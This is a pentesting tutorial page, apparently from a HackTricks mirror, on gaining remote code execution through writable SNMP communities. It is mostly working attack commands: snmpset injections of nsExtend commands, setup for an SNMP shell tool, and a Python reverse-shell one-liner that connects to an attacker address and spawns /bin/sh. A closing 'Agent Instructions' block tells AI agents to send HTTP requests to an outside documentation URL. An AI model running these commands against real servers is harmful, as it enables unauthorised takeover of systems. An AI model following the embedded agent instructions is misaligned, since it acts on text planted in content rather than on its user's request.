# SNMP RCE
ποΈ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) ποΈ - π₯ Youtube π₯
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**π¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**π¦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
This post was copied from
SNMP is sometimes overseen by the administrator of the device or server where it is left in a default configuration. SNMP community with write permissions (**rwcommunity**) on the Linux operating system can be abused to let the attacker execute a command on the server.
## **Extending the Services**
While you are not able to modify existing entries that were configured in **snmpd.conf**, it is possible to add additional commands over SNMP, because the βMAX-ACCESSβ permission setting in the MIB definition is set to β**read-create**β
Adding a new command basically works by appending an additional row to the β**nsExtendObjects**β table.
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```
Injecting a command to run on the SNMP service. **NET-SNMP-EXTEND-MIB** requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable.
Executing the command that we injected to the SNMP by enumerating it using snmpwalk
```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```
Showing that the command is /bin/echo.
The command will be executed when the it is read. **run-on-read()**
The command **/bin/echo "hello rio is here"** was executed during our snmpwalk read
## **Getting the Shell** **from Net-SNMP Extend**
In this section, I would like to discuss how to gain a server shell to control the server.
You can use python script developed by **mxrch** that can be downloaded from [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)
You can install the pre-requisite to run this:
```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```
**Creating reverse shell**
You can also create reverse shell manually by injecting the command below into the SNMP
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
run the snmpwalk to trigger the command execution
Our netcat receives the reverseshell connection from the victim that allow us to gain control over the victim machine
ποΈ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) ποΈ - π₯ Youtube π₯
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**π¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**π¦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://breached.gitbook.io/dashboard/network-services-pentesting/pentesting-snmp/snmp-rce.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.